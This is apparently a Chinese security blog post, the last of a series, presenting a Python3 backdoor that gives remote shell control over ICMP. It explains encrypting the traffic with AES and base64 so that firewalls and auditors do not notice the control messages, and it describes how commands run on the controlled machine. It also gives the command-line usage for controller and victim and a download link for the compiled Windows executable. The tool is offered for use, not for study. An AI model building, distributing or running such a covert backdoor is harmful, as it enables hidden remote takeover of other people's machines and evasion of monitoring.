qiyesafe.com

Python3实现ICMP远控后门(下)之“Boss”出场


ICMP后门

 

前言

 

第一篇:Python3实现ICMP远控后门(上)

第二篇:Python3实现ICMP远控后门(上)_补充篇

第三篇:Python3实现ICMP远控后门(中)之“嗅探”黑科技

 

熬到最后一篇了,本系列的Boss要出场了,实现了一个有意思的ICMP后门,暂时使用pyinstaller打包成了一个win32和64版本,如下图所示。

 

 

在前几篇的基础上,本篇扩展的知识点为数据的加密和解密,以及shell的调用,并最终生成一个可用的ICMP后门。本篇总共分为五节,需要花费5分钟时间。

 

 

第一节 通信的加密与解密  

ICMP远控采用的是ICMP协议进行通信,为了确保通信的保密性,防止防火墙或者审计人员探测出控制信息,决定对ICMP数据域的内容进行加密处理。

 

本次采用的是AES加密与base64编码相结合的方式。AES为最常见的对称加密算法(微信小程序加密传输就是用这个加密算法的)。对称加密算法也就是加密和解密用相同的密钥,具体的加解密流程如下图: 

 

 

 

AES只是个基本算法,实现AES有若干模式。其中的CBC模式因为其安全性而被TLS(就是https的加密标准)和IPSec(win采用的)作为技术标准。简单地说,CBC使用密码和salt(起扰乱作用)按固定算法(md5)产生key和iv。然后用key和iv(初始向量,加密第一块明文)加密(明文)和解密(密文)。

下面介绍ICMP远控的加密解密方案,对于AES加解密,这里采用CBC模式,在Python3.5及之前版本使用pycrypto‎模块,之后版本使用pycrytodome模块。

加密

先是使用AES加密,对于传入的加密内容长度必须为16的倍数,不足则补为16的倍数,我这里是设置的补为32的倍数。使用AES加密结束后,对加密后的内容进行base64编码,以便传输。

 

 

解密

先是对加密后的内容进行base64解码,接着在进行AES解密,最后去掉为了对齐填充的内容。

 

 

 

 

 

第二节 Shell调用

ICMP后门最基本的功能就是完成shell的调用,也就是经常说的反弹shell。反弹的shell即是受控端的shell,控制端通过ICMP协议将shell命令发送给受控端,受控端调用shell执行命令,并将命令结果通过ICMP协议回传给控制端。Python中对shell的调用如下:

 

 

第三节 程序的整体结构

代码中总共有三个类,父类Transfer,两个子类client和server。Transfer类主要完成了socket初始化,加解密,icmp协议封包的通用功能。同时提供了一个reverse方法需要子类实现。

父类Transfer

 

子类client

 

 

子类server

 

 

第四节 使用方法

以我生成的icmpshell_win32.exe为例,为了方便演示,开启了一个VM虚拟机,和主机组成局域网,VM虚拟机中运行的是win7 32位的系统,主机运行的是win7 64的系统。主机的ip为192.168.72.4,虚拟机的ip为192.168.72.133.

 

主机作为控制端,虚拟机作为受控端。首先在主机上运行如下命令(管理员权限运行)

icmpshell_win32.exe -s 192.168.72.4

其中 -s参数用于指明控制端的ip

 

在受控端运行如下命令(管理员权限运行)

icmpshell_win32.exe -l 192.168.72.133 -c 192.168.72.4

其中 -l参数用于指明受控端的ip,-c参数用于指明要连接的控制端的ip

 

受控端运行效果

 

 

控制端运行效果

 

执行dir命令和tasklist命令

 

 

whoami命令

 

 

 

icmpshell源代码已经优先上传到知识星球中,想看源代码的朋友请关注我的知识星球。

如果大家只是想玩一下,给大家提供了icmpshell_win32.exe的下载链接。

https://pan.baidu.com/s/1xQRyxmq6PUw6qHMU9ZKZ4g 密码:8rgu

最后

如果觉得本文还可以,一定记得推荐哟。欢迎关注我的公众号,知识星球在菜单中。

回复【1】:领取 Python数据分析 教程大礼包
回复【2】:领取 Python Flask 全套教程 
回复【3】:领取 机器学习 全套教程 

 

posted @ 2018-05-17 20:41  七夜的故事  阅读(1201)  评论(2编辑  收藏  举报
qiyesafe.com